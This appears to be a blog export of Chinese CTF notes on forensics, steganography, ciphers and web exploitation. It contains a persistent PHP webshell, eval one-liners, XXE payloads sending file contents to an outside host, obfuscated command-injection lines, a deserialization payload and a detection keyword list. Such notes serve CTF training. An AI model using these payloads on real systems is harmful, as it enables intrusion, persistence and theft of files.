range(new_width): for y in range(new_height): pixel = original_image.getpixel((x *12,y*12)) new_image.putpixel((x,y),pixel) new_image.save("flag.png") zsteg一把梭zsteg可以检测PNG和BMP图片里的隐写数据 zsteg flag.png zsteg -a flag.png #一把梭 高度改写 内存取证使用volatility 对raw等格式进行分析 volatility -f <文件名> --profile=<配置文件> <插件> [插件参数] eg: .\\volatility_2.6_win64_standalone.exe -f E:\\Desktop\\放题\\计算机取证\\1.dmp --profile=Win7SP1x64 pslist <插件>中可以使用imageinfo:显示目标镜像的摘要信息,这常常是第一步,获取内存的操作系统类型及版本,之后可以在 –profile 中带上对应的操作系统,后续操作都要带上这一参数pslist:该插件列举出系统进程,但它不能检测到隐藏或者解链的进程,psscan可以pstree:以树的形式查看进程列表,和pslist一样,也无法检测隐藏或解链的进程psscan:可以找到先前已终止(不活动)的进程以及被rootkit隐藏或解链的进程cmdscan:可用于查看终端记录notepad:查看当前展示的 notepad 文本(–profile=winxp啥的低版本可以,win7的不行,可以尝试使用editbox)filescan:扫描所有的文件列表linux配合 grep 命令进行相关字符定向扫描,如:grep flag、grep -E ‘png|jpg|gif|zip|rar|7z|pdf|txt|doc’dumpfiles:导出某一文件(指定虚拟地址)需要指定偏移量 -Q 和输出目录 -Dmemdump:提取出指定进程,常用foremost 来分离里面的文件需要指定进程-p [pid] 和输出目录 -Deditbox:显示有关编辑控件(曾经编辑过的内容)的信息screenshot:保存基于GDI窗口的伪截屏clipboard:查看剪贴板信息iehistory:检索IE浏览器历史记录systeminfo:显示关于计算机及其操作系统的详细配置信息(插件)hashdump:查看当前操作系统中的 password hash,例如 Windows 的 SAM 文件内容(mimikatz插件可以获取系统明文密码)mftparser:恢复被删除的文件svcscan:扫描 Windows 的服务connscan:查看网络连接envars:查看环境变量dlllist: 列出某一进程加载的所有dll文件hivelist: 列出所有的注册表项及其虚拟地址和物理地址timeliner: 将所有操作系统事件以时间线的方式展开 出题点:对ie浏览记录进行分析 ntfs 数据流隐写题 参考 使用 labs.exe 进行检测指令: lads.exe /S #检测当前目录 lads.exe <文件夹> /S #检测这个目录和子目录 eg: lads.exe test /S notepad 查看文件 编码猜测使用010editor 更改字符集 pdf bmp txt htm 文件隐写使用wbstego4.3open隐写,一般肉眼无法判断,只能靠试 使用wbstego4.3open解码和加密 misc密码加密仿射密码 affine仿射密码需要两个密码,并且其中一个为1,3,5,7,9,11,15,17,19,21,23,25中的一个,另一个0~25。且flag格式正确但是字母被替换,一般仿射密码的两个密码不会直接给出,可能以方程式等方式给出在线解密 键盘密码用手机键盘或者电脑键盘进行加密 手机键盘密码每个数字键上有 3-4 个字母,用两位数字来表示字母,例如:ru 用手机键盘表示就是:7382,那么这里就可以知道了,手机键盘加密方式不可能用 1 开头,第二位数字不可能超过4 电脑键盘密码电脑键盘棋盘加密,利用了电脑的棋盘方阵 zlib文件解压三种文件头 文件头 压缩方式 78 01 No Compression/low 78 9C Default Compression 78 DA Best Compression 解压python脚本 import zlib import binascii id='789cad50cb92a2500cfd2016c2151516bd08efdb80c54304d979012ff2101015e4eb1b6aa6bb66379b4ea59293e4544e2a3e078a24b900b383520e153bf6fc280a219d6b9587252ee184c432ce9c8c5ec0b997e92db7754489b05d8161b43eabdb9d7cf7c41e71c4e1d77e5767bdc534aede6cd8aa98f809278f6ec4fdc138a20dc3d50775f7d21291561b1c5c2fbb0bb7ba1bb835ba6a77eb4c8730c8dede3ceb39e4815093d5c04916b87805ffbb535e867f0cff20a920c8ab640af4bb01d20cb59742f9e8cc0eaa40a17ee4e2fd008737c86764a0872d056aaf49f42f7f5e7d5cb0312ce209680f378bbc86209eda577e1db9ace9143c83cd5cec0cd45ce65a71db20a9b5220e3ff313eaa9a973af64edd2a43ecebd0d8bf57d4ef481125d9b52b9dc2a6e43b11ab7440f282ec6218bf64d1c8e3d9e80c1d785573d631f464b965a7205818462998663e550d6c432d07fb5c3faf826acd7a675359d43f1e9459f6fb2c6db1fcef997b20f82e54bc329da4f2912dfb10c3bf3fb17001f5f8a8cc192' result = binascii.unhexlify(id) print(result) result = zlib.decompress(result) print(result) 即可解压 常见编码UUencode 编码解码 特征:所有字符看起来像乱码,但都是可打印字符;如果有多行,那么除了最后一行,都以“M”开头 Xxencode 编码Xxencode是一种类似于uuencode的二进制到文本的编码,它只使用字母数字字符以及加号和减号。发明它是为了以一种可以在字符集转换的方式传输文件,特别是在ASCII和IBM大型机上使用的EBCDIC编码之间。 很像base64,但又不是base64使用base64会乱码 社工题经纬度转换网站 PNG CRC 检验 贴代码算就完了 import binascii import struct # \\x49\\x48\\x44\\x52\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x08\\x02\\x00\\x00\\x00 crc32key = 0x121B804D for i in range(0, 65535): for j in range(0, 65535): width = struct.pack('>i', j) height = struct.pack('>i', i) data = b'\\x49\\x48\\x44\\x52' + width + height + b'\\x08\\x02\\x00\\x00\\x00' crc32result = binascii.crc32(data) & 0xffffffff if crc32result == crc32key: print(''.join(map(lambda c: "%02X" % c, width))) print(''.join(map(lambda c: "%02X" % c, height))) 希尔密码解密在线网站或者这个 jpg 隐写steghide 隐写参考 steghide embed -cf test.jpg -ef secret.txt -p 123456 #加密 steghide extract -sf test.jpg -p 123456 #解密 F5隐写参考 工具 java Extract 1.jpg -p 123456 #解密 tupper(塔珀自指公式)参考 出题 一般这种题都会给提示有可能是英文提示或者中文提示,要不然就是顶级脑洞题 import numpy as np import matplotlib.pyplot as plt def Tupper_self_referential_formula(k): aa = np.zeros((17,106)) def f(x, y): y += k a1 = 2**-(-17*x - y%17) a2 = (y // 17) // a1 return 1 if a2 % 2 > 0.5 else 0 for y in range(17): for x in range(106): aa[y, x] = f(x, y) return aa[:,::-1] k = 14278193432728026049298574575557534321062349352543562656766469704092874688354679371212444382298821342093450398907096976002458807598535735172126657504131171684907173086659505143920300085808809647256790384378553780282894239751898620041143383317064727136903634770936398518547900512548419486364915399253941245911205262493591158497708219126453587456637302888701303382210748629800081821684283187368543601559778431735006794761542413006621219207322808449232050578852431361678745355776921132352419931907838205001184 aa = Tupper_self_referential_formula(k) plt.figure(figsize=(15,10)) plt.imshow(aa,origin='lower') plt.show() 敲击码(topcode)在线解 敲击码之间没有空格,被坑过一次-_- 带密码的jpg隐写 工具 指令 outguess outguess -k “HAPPY_NEW_YEAR” -r 00000000.jpg hidden.txt JSteg Linux的/proc/self//proc 目录Linux 提供访问/proc文件系统,以便在运行时访问内核内部数据结构、改变内核设置的机制。proc文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。 fdfd是一个目录,里面包含着当前进程打开的每一个文件的描述符(file descriptor)差不多就是路径啦,这些文件描述符是指向实际文件的一个符号连接,即每个通过这个进程打开的文件都会显示在这里。所以我们可以通过fd目录的文件获取进程,从而打开每个文件的路径以及文件内容 ls -al /proc/1083/fd 这个fd比较重要,因为在Linux系统中,如果一个程序用 open() 打开了一个文件,但是最终没有关闭它,即使从外部(如:os.remove(SECRET_FILE))删除这个文件之后,在/proc这个进程的 pid目录下的fd文件描述符 目录下 还是会有这个文件的文件描述符,通过这个文件描述符我们即可以得到被删除的文件的内容 self/proc/self 表示当前进程目录,等效于/proc/$pid/,通过/proc/self可以不用获取PID从而获取自己的系统信息 fd中自带三个IO 0 - stdin(/dev/null) 1 - stdout(/dev/null) 2 - stderr(/dev/null) 所以打开的文件是从3开始算起,在moe的readme中为 0 - stdin(/dev/null) 1 - stdout(/dev/null) 2 - stderr(/dev/null) 3 - flag (therealflag) 所以要读取删除的文件则为/proc/self/fd/3","categories":[{"name":"技术","slug":"技术","permalink":"http://example.com/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[],"author":"秋雨样"},{"title":"awd","slug":"awd","date":"2024-01-02T16:30:26.000Z","updated":"2024-09-07T10:11:48.936Z","comments":true,"path":"posts/9cf53275.html","link":"","permalink":"http://example.com/posts/9cf53275.html","excerpt":"","text":"不死马普通不死马<?php ignore_user_abort(true); // 函数设置与客户机断开是否会终止脚本的执行。 set_time_limit(0); // 设置脚本最大执行时间,如果设置为0,则没有时间方面的限制 unlink(__FILE__); // unlink删除文件 __FILE__取得当前文件的绝对地址 也就是删除自身 $file = '.shell.php'; $code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>'; //pass=pass while (1){ file_put_contents($file,$code); // 写入文件 system('touch -m -d "2018-12-01 09:10:12" .shell.php'); // 修改文件时间 usleep(5000); //函数延迟代码执行若干微秒 } ?> RSA不死马参考 使用var_dump()分析预置后门参考 使用var_dump 分析最后字符串的结果 流量监控脚本参考 #coding=utf-8 ##Author: 7i4n2h3n9 & EDS ##Team: Polar Day Cyberspace Security LAB import os import sys import re import pyinotify # Set Log Path def setHttpserver(): print('Please set the log path of HTTPserver') logDir = input('Please input the path:') if os.path.isfile(logDir): return logDir else: print('File does not exist!') print('Exit the program......') sys.exit class EventHandler(pyinotify.ProcessEvent): def __init__(self, file_path, *args, **kwargs): super(EventHandler, self).__init__(*args, **kwargs) self.file_path = file_path self._last_position = 0 logpats = r'((2(5[0-5]|[0-4]\\d))|[0-1]?\\d{1,2})(\\.((2(5[0-5]|[0-4]\\d))|[0-1]?\\d{1,2})){3}' self._logpat = re.compile(logpats) def process_IN_MODIFY(self, event): #print("File changed: " + event.pathname) if self._last_position > os.path.getsize(self.file_path): self._last_position = 0 with open(self.file_path) as f: f.seek(self._last_position) loglines = f.readlines() self._last_position = f.tell() groups = (self._logpat.search(line.strip()) for line in loglines) for g in groups: if check_Log(g.string): print(g.string) def check_Log(strLog): if re.search('union|eval|alert|update|insert|into|from|create|delete|drop|truncate|rename|desc|charset|ascii|bin|char|uncompress|concat|concat_ws|conv|export_set|hex|instr|left|load_file|locate|sub|substring|oct|reverse|right|unhex|prompt|fwrite|curl|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore|whoami|bash|phpinfo|msgbox|select|ord|mid|group|and|flag',strLog,re.I): return True else: return False def LogMonitor(path): wm = pyinotify.WatchManager() mask = pyinotify.IN_MODIFY handler = EventHandler(path) notifier = pyinotify.Notifier(wm, handler) wm.add_watch(handler.file_path, mask) print('Now Starting Monitor %s' % (path)) while True: try: notifier.loop() except KeyboardInterrupt: notifier.stop() break if __name__ == '__main__' : logDir = setHttpserver() LogMonitor(logDir)","categories":[{"name":"技术","slug":"技术","permalink":"http://example.com/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[],"author":"秋雨样"},{"title":"ctf-web考点","slug":"ctf-web考点","date":"2024-01-01T15:08:58.000Z","updated":"2024-05-12T04:57:38.093Z","comments":true,"path":"posts/2a9bc4e1.html","link":"","permalink":"http://example.com/posts/2a9bc4e1.html","excerpt":"","text":"ctrl+shift+c 打开禁用f12的网页的devtools 注意 /index.php 重定向,打开网页都是访问index文件题 0要时刻注意/robots.txt www.zip 等科学计数法和MD5值sha1值比较弱比较php 对0e+纯数字当作科学计数法而绕过以0e开头的字符串只能是纯数字,这样php在进行科学计算法的时候才会将它转化为0 s1502113478a 0e861580163291561247404381396064 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s155964671a 0e342768416822451524974117254469 s1184209335a 0e072485820392773389523109082030 0e215962017 0e291242476940776845150308577824 强比较二进制md5加密 8e4ef6c69a337c0de0208455ee69a416 url编码 1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%A3njn%FD%1A%CB%3A%29Wr%02En%CE%89%9A%E3%8EF%F1%BE%E9%EE3%0E%82%2A%95%23%0D%FA%CE%1C%F2%C4P%C2%B7s%0F%C8t%F28%FAU%AD%2C%EB%1D%D8%D2%00%8C%3B%FCN%C9b4%DB%AC%17%A8%BF%3Fh%84i%F4%1E%B5Q%7B%FC%B9RuJ%60%B4%0D7%F9%F9%00%1E%C1%1B%16%C9M%2A%7D%B2%BBoW%02%7D%8F%7F%C0qT%D0%CF%3A%9DFH%F1%25%AC%DF%FA%C4G%27uW%CFNB%E7%EF%B0 二进制md5加密 8e4ef6c69a337c0de0208455ee69a416 url编码 1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%A3njn%FD%1A%CB%3A%29Wr%02En%CE%89%9A%E3%8E%C6%F1%BE%E9%EE3%0E%82%2A%95%23%0D%FA%CE%1C%F2%C4P%C2%B7s%0F%C8t%F28zV%AD%2C%EB%1D%D8%D2%00%8C%3B%FCN%C9%E24%DB%AC%17%A8%BF%3Fh%84i%F4%1E%B5Q%7B%FC%B9RuJ%60%B4%0D%B7%F9%F9%00%1E%C1%1B%16%C9M%2A%7D%B2%BBoW%02%7D%8F%7F%C0qT%D0%CF%3A%1DFH%F1%25%AC%DF%FA%C4G%27uW%CF%CEB%E7%EF%B0 对于sha1强碰撞基本不可能,但sha1函数传入为数组时会返回flase,两个flase会相等[极客大挑战 2020]welcome pyload: roam1[]=1&roam2[]=2 数组绕过md5() 函数中如果传入的不是字符串而是数组,不但md5()函数不会报错,结果还会返回null,在强比较里面null=null为 True 绕过 str1[]=1&str2[]=2 科学计数法比较大小web中三位数最大的数不是999而是9e9 strcmp函数问题函数问题见ctf-php-常用函数及其绕过 NULL、0、”0”、array()、字母、进制的比较NULL、0、"0"、array()在弱比较时相等、 字符串和数字比较字符串以数字开头时,以开头数字(到字母出现截止)作为转换结果;开头不是数字的字符串或空null,则转换为0 '12'==12 //true '12abc'==12 //true 'adm2n'==0 //true 进制格式的字符串在弱比较下会将其转换为数字 超过精度的弱类型问题浮点判断超过精度的数字(小数点后超过17位)在进行弱口令比较时,会出现相等的情况 var_dump(1.000000000000000 == 1) >> TRUE var_dump(1.0000000000000001 == 1) >> TRUE 浮点运算问题<?php $f =0.58; var_dump(intval($f*100)); ?> output int(57) 在用PHP进行浮点数的运算中,经常会出现一些和预期结果不一样的值 具体详细的原理可以看这位师傅的描述 上传漏洞上传漏洞继承Web应用的权限(权限不会很高) 脚本文件要被访问后才有机会执行其中的恶意指令 .htaccess 上传漏洞题 使jpg当做php解析 AddType application/x-httpd-php .jpg 可能会判断<?php>来一个没有标志的一句话 GIF89a <script language='php'>@eval($_POST["a"]);</script> .user.ini 上传漏洞.htaccess 只适用于apache 而apache/nginx/iis都会用到 GIF89a auto_prepend_file=tupianmaplus.png auto_prepend_file是在php文件代码执行前用require包含进指定的文件所以有个特点是上传目录里必有.php文件 windows重命名特点1.php. .会自动重命名为1.php 在1.php后加::$DATA后文件会当作文件流处理,不会检测后缀 sql注入waf绕过zip bomb题 不要尝试解压,而是用winrar打开或者改成.rar 上传解压接口软链接覆盖问题(软链接攻击)例题:hgame2024 week 3 ZeroLink 特点:上传一个zip压缩包,程序会进行解压,指定要读取的文件名,文件内容将被返回至网页(或者存在读取接口)。 //软链接 ln -s /app she //压缩 zip --symlinks she.zip she //建一个相同文件夹 mkdir she //在文件里输入覆盖内容 vim she/secret 参数爆破用arjun 给个例子 arjun -u http://node5.anna.nssctf.cn:28659/ -c 100 -d 5 -d 是发包间隔,秒为单位 XXE文章 有回显XXE<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds [ <!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]> <creds>&goodies;</creds> 如果其中含有特殊字符,则需要CDATA拼接 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE roottag [ <!ENTITY % start "<![CDATA["> <!ENTITY % goodies SYSTEM "file:///d:/test.txt"> <!ENTITY % end "]]>"> <!ENTITY % dtd SYSTEM "http://ip/evil.dtd"> %dtd; ]> <roottag>&all;</roottag> evil.dtd <?xml version="1.0" encoding="UTF-8"?> <!ENTITY all "%start;%goodies;%end;"> 无回显xxe test.dtd <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt"> <!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ip:9999?p=%file;'>"> payload <!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://ip/test.dtd"> %remote;%int;%send; ]> 各xml处理支持的协议 PHP随机数预测使用php_mt_seed php_mt_seed能识别的格式match_min matchmax 0 range_max","categories":[{"name":"技术","slug":"技术","permalink":"http://example.com/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[],"author":"秋雨样"},{"title":"命令执行绕过","slug":"命令执行绕过","date":"2023-12-25T13:16:36.000Z","updated":"2024-01-20T13:03:44.016Z","comments":true,"path":"posts/d754450d.html","link":"","permalink":"http://example.com/posts/d754450d.html","excerpt":"","text":"文章 空格绕过使用${IFS} ${IFS}:在linux下,${IFS}是分隔符的意思,所以可以有${IFS}进行空格的替代。 $IFS$9:$起截断作用,9为当前shell进程的第九个参数,始终为空字符串,所以同样能代替空字符串进行分割。 $IFS$1 <:>>和>都属于输出重定向,<属于输入重定向。 <> {,} 关键字绕过Base64编码绕过: echo MTIzCg==|base64 -d //打印123,MTIzCg==是123的base64编码 echo "Y2F0IC9mbGFn"|base64 -d|bash //执行cat /flag echo "bHM="|base64 -d|sh //将执行ls Hex编码绕过: echo "636174202f666c6167"|xxd -r -p|bash 将执行cat /flag $(printf "\\x63\\x61\\x74\\x20\\x2f\\x66\\x6c\\x61\\x67") 执行cat /flag Oct编码绕过: $(printf "\\143\\141\\164\\40\\151\\156\\144\\145\\170\\56\\160\\150\\160") 执行cat index.php $(printf "\\154\\163") 执行ls 内联执行绕过: echo "a`pwd`" # 输出a/opt cat$IFS$9`ls` # 查看当前目录下的所有的文件内容 引号绕过: ca""t => cat mo''re => more 反斜杠绕过: ca\\t => cat mo\\re => more","categories":[{"name":"技术","slug":"技术","permalink":"http://example.com/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[],"author":"秋雨样"},{"title":"ctf php 常用函数即其绕过","slug":"ctf-php-常用函数及其绕过","date":"2023-12-25T11:40:01.000Z","updated":"2024-04-24T13:52:25.559Z","comments":true,"path":"posts/c86b92e2.html","link":"","permalink":"http://example.com/posts/c86b92e2.html","excerpt":"","text":"foreach()手册用于遍历数组,一共有两种格式 foreach (iterable_expression as $value) statement foreach (iterable_expression as $key => $value) statement 第二种会把当前单元的键名也赋给变量$keyforeach可以通过在$value之前加上 & 来修改数组的元素。此方法将以引用赋值而不是拷贝一个值 <?php $arr = array(1, 2, 3, 4); foreach ($arr as &$value) { $value = $value * 2; } // 现在 $arr 是 array(2, 4, 6, 8) unset($value); // 最后取消掉引用 ?> 数组最后一个元素的 $value 引用在 foreach 循环之后仍会保留。建议使用 unset() 来将其销毁 preg_match_all手册 preg_match_all( string $pattern,//要搜索的模式,字符串形式 string $subject,//输入字符串 array &$matches = null,//多维数组,作为输出参数输出所有匹配结果, 数组排序通过flags指定 int $flags = 0,//见手册 int $offset = 0//用于 从目标字符串中指定位置开始搜索(单位是字节) ): int|false 搜索subject中所有匹配pattern给定正则表达式 的匹配结果并且将它们以flag指定顺序输出到matches中在第一个匹配找到后, 子序列继续从最后一次匹配位置搜索正则表达式网站 in_array手册 in_array(mixed $needle, array $haystack, bool $strict = false): bool 大海捞针,在大海(haystack)中搜索针( needle),如果没有设置 strict 则使用宽松的比较。 绕过在宽松比较中,字符串开头为数字可以将整个比较变为数字的比较从而导致绕过 call_user_func_array手册 调用回调函数,并把一个数组参数作为回调函数的参数 call_user_func_array(callable $callback, array $args): mixed 把第一个参数作为回调函数(callback)调用,把参数数组作(args)为回调函数的的参数传入callback为函数名,而array $args则是函数参数 <?php function foobar($arg, $arg2) { echo __FUNCTION__, " got $arg and $arg2\\n"; } class foo { function bar($arg, $arg2) { echo __METHOD__, " got $arg and $arg2\\n"; } } // Call the foobar() function with 2 arguments call_user_func_array("foobar", array("one", "two")); // Call the $foo->bar() method with 2 arguments $foo = new foo; call_user_func_array(array($foo, "bar"), array("three", "four")); ?> 输出: foobar got one and two foo::bar got three and four exec手册 执行一个外部程序 exec(string $command, array &$output = null, int &$result_code = null): string|false exec() 执行 command参数所指定的命令 result_code 外部命令执行后的返回状态将会被设置到此变量中 类似于system() system执行外部程序,并且显示输出 system(string $command, int &$result_code = null): string|false 执行 command 参数所指定的命令,并且输出执行结果result_code 外部命令执行后的返回状态将会被设置到此变量中成功则返回命令输出的最后一行,失败则返回 false strcmp手册 strcmp(string $string1, string $string2): int 该比较区分大小写 如果 string1 小于 string2 返回 -1;如果 string1 大于 string2 返回 1;如果两者相等,返回 0 挨个比较ascii码 绕过strcmp("foo", array()) => NULL + PHP Warning strcmp("foo", new stdClass) => NULL + PHP Warning strcmp(function(){}, "") => NULL + PHP Warning strcmp()函数传入数组会返回NULL 在php 中 NULL==0 eregi or ereg手册 eregi — 不区分大小写的正则表达式匹配 eregi ( string $pattern , string $string [, array &$regs ] ) : int 本函数和 ereg() 完全相同,只除了在匹配字母字符时忽略大小写的区别 以(不)区分大小写的方式在 string 中寻找与给定的正则表达式 pattern 所匹配的子串 如果找到与 pattern 中圆括号内的子模式相匹配的子串并且函数调用给出了第三个参数 regs,则匹配项将被存入 regs 数组中。$regs[1] 包含第一个左圆括号开始的子串,$regs[2] 包含第二个子串,以此类推。$regs[0] 包含整个匹配的字符串 如果在 string 中找到 pattern 模式的匹配则返回 所匹配字符串的长度,如果没有找到匹配或出错则返回 FALSE。如果没有传递入可选参数 regs 或者所匹配的字符串长度为 0,则本函数返回 1 绕过两者存在%00截断类似于\\0截断 preg_match()php preg_match( string $pattern, string $subject, array &$matches = null, int $flags = 0, int $offset = 0 ): int|false 搜索subject与pattern给定的正则表达式的一个匹配matches如果提供了参数matches,它将被填充为搜索结果。 $matches[0]将包含完整模式匹配到的文本, $matches[1] 将包含第一个捕获子组匹配到的文本,以此类推 无字母数字webshell参考 <?php if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) { eval($_GET['shell']); } 对于类似与以上正则匹配进行绕过 PHP中的短标签<??>相当于对<?php>的替换。而<?=?>则是相当于<? echo> <?= '111'?> PHP中,反引号可以起到命令执行的效果 <?php $_=`whoami`; echo $_; 如果我们利用上面短标签的写法,可以把代码简写 <?= `whoami`?> 临时文件泄露vim 临时文件泄露http://node4.anna.nssctf.cn:28196/.index.swp 得到之后使用vim即可恢复 vim -r .index.swp preg_replace与代码执行preg_replace( string|array $pattern, string|array $replacement, string|array $subject, int $limit = -1, int &$count = null ): string|array|null 搜索 subject 中匹配 pattern 的部分,以 replacement 进行替换。 replacement 中可以包含后向引用\\\\n或$n,语法上首选后者。 每个这样的引用将被匹配到的第 n个捕获子组捕获到的文本替换。 n可以是0-99,\\\\0 和 $0 代表完整的模式匹配文本。捕获子组的序号计数方式为:代表捕获子组的左括号从左到右, 从1开始数。如果要在 replacement 中使用反斜线,必须使用 4 个(“\\\\\\\\”,译注:因为这首先是 PHP 的字符串,经过转义后,是两个,再经过正则表达式引擎后才被认为是一个原文反斜线)。 参考 preg_replace /e 模式下的代码执行问题 function complex($re, $str) { return preg_replace('/(' . $re . ')/ei','strtolower("\\\\1")',$str); } foreach($_GET as $re => $str) { echo complex($re, $str). "\\n"; } preg_replace 函数在匹配到符号正则的字符串时,会将替换字符串(也就是上图 preg_replace 函数的第二个参数)当做代码来执行 而这里面第二个参数含有\\1那么他会将被匹配到的第 1 个捕获子组捕获到的文本替换,总之就是\\1也被替换了,导致的命令执行又因为特殊字符.会被替换成_所以我们这里传参是\\S*=别问为啥是\\S我不到啊payload : \\S*=${phpinfo()} 什么要匹配到{${phpinfo()}} 或者 ${phpinfo()} ,才能执行 phpinfo 函数,这是一个小坑。这实际上是 PHP可变变量 的原因。在PHP中双引号包裹的字符串中可以解析变量,而单引号则不行。${phpinfo()} 中的 phpinfo() 会被当做变量先执行,执行后,即变成 ${1} (phpinfo()成功执行返回true)。 escapeshellarg()和escapeshellcmd()同时使用导致的绕过escapeshellarg() 将给字符串增加一个单引号并且能引用或者转义任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的 escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。 反斜线(\\)会在以下字符之前插入:&#;`|*?~<>^()[]{}$\\、\\x0A 和 \\xFF。 ‘ 和 “ 仅在不配对儿的时候被转义。在 Windows 平台上,所有这些字符以及 % 和 ! 字符前面都有一个插入符号(^)。 它们组合使用时就会造成漏洞(顺序不能改变),就借用一个大佬的例子,通俗易懂。 传入的参数是:172.17.0.2' -v -d a=1 经过escapeshellarg处理后变成了'172.17.0.2'\\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。 经过escapeshellcmd处理后变成'172.17.0.2'\\\\'' -v -d a=1\\',这是因为escapeshellcmd对\\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php 最后执行的命令是curl '172.17.0.2'\\\\'' -v -d a=1\\',由于中间的\\\\被解释为\\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\\ -v -d a=1',即向172.17.0.2\\发起请求,POST 数据为a=1'。 也就是说,escapeshellcmd()函数转义了用于转义单引号的斜杠,导致这个单引号与后面的单引号形成了空白连接符就能执行命令了。 nmap构造命令system函数里拼接了nmap的指令字符串。nmap中的-oG参数可以将代码与命令写到文件中,比如nmap <?php phpinfo();?> -oG 1.php,就是将这个phpinfo();语句写在了1.php里内了。","categories":[{"name":"技术","slug":"技术","permalink":"http://example.com/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[{"name":"ctf","slug":"ctf","permalink":"http://example.com/tags/ctf/"}],"author":"秋雨样"},{"title":"pop链构造","slug":"pop链构造","date":"2023-12-04T14:10:33.000Z","updated":"2024-04-30T15:47:32.718Z","comments":true,"path":"posts/aa5c80ac.html","link":"","permalink":"http://example.com/posts/aa5c80ac.html","excerpt":"","text":"注意php类名大小写不敏感 魔术方法 __wakeup() //------ 执行unserialize()时,先会调用这个函数 __sleep() //------- 执行serialize()时,先会调用这个函数 __destruct() //---- 对象被销毁时触发 __call() //-------- 在对象上下文中调用不可访问的方法时触发 __callStatic() //-- 在静态上下文中调用不可访问的方法时触发 __get() //--------- 用于从不可访问的属性读取数据或者不存在这个键都会调用此法 __set() //--------- 用于将数据写入不可访问的属性 __isset() //------- 在不可访问的属性上调用isset()或empty()触发 __unset() //------- 在不可访问的属性上使用unset()时触发 __toString() //---- 把类当作字符串使用时触发 __invoke() //------ 当尝试将对象调用为函数时触发 可以参考:php函数 __construct()当一个对象被创建时自动调用这个方法 即 $a=new A()时会自动调用 __call()在对象上下文中调用不可访问的方法时触发 调用不存在的方法 既这个类中存在这个函数,却调用他就会触发 __callStatic()触发时机:静态调用或调用成员常量时使用的方法不存在 __get()当有__get()函数时,每次调用属性都将调用这个魔术方法,所以每次调用都会触发触发时机:调用的成员属性不存在参数:传参$arg1返回值:不存在的成员属性的名称 __set()触发时机:给不存在的成员属性赋值 __isset() __unset() __clone() __toString()当echo 或者.拼接对象时会调用这个魔术方法 总结 构造pop链如果存在私有属性,则需要url加密 urlencode(serialize($b)); 因为私有属性前面和后面存在%00 例题例题:小白进群题 <?php //flag is in flag.php highlight_file(__FILE__); error_reporting(0); class Modifier { private $var; public function append($value) { include($value); echo $flag; } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __toString(){ return $this->str->source; } public function __wakeup(){ echo $this->source; } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ unserialize($_GET['pop']); } ?> pop链 <?php //flag is in flag.php highlight_file(__FILE__); error_reporting(0); class Modifier { private $var="flag.php"; public function append($value) { include($value); echo $flag; } public function __invoke(){//把这个实例当作一个方法来调用 $this->append($this->var); } } class Show{ public $source; public $str; public function __toString(){//当使用echo或者print输出对象时,将对象转化成字符串 return $this->str->source; } public function __wakeup(){ echo $this->source; } } class Test{ public $p; public function __get($key){//访问私有属性private、以及不存在的属性时被调用 $function = $this->p; return $function(); } }// ->__construct->__get->__invoke $a=new Modifier(); $b= new Show(); $c = new Test(); $b->source= $b; $b->str=$c; $c->p=$a; echo urlencode(serialize($b)); ?> 结果 O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A13%3A%22%00Modifier%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7D 注意__construct() __sleep() 可能会影响pop链的构造,如果影响了得删了__wakeup 可能是不需要的,需要绕过 php引用赋值&参考大佬文章补充的 php中可以使两个变量指向同一个内存地址 <?php function test (&$a){ $x=&$a; $x='123'; } $a='11'; test($a); echo $a; 输出: 123 <?php class KeyPort{ public $key; public function __destruct() { $this->key=False; if(!isset($this->wakeup)||!$this->wakeup){ echo "You get it!"; } } public function __wakeup(){ $this->wakeup=True; } } if(isset($_POST['pop'])){ @unserialize($_POST['pop']); } 这题的绕过可以通过的引用赋值的方法,让key的值改变的时候也改变wakeup的值 <?php class KeyPort{ public $key; public function __destruct() { } } $keyport = new KeyPort(); $keyport->key=&$keyport->wakeup; echo serialize($keyport); 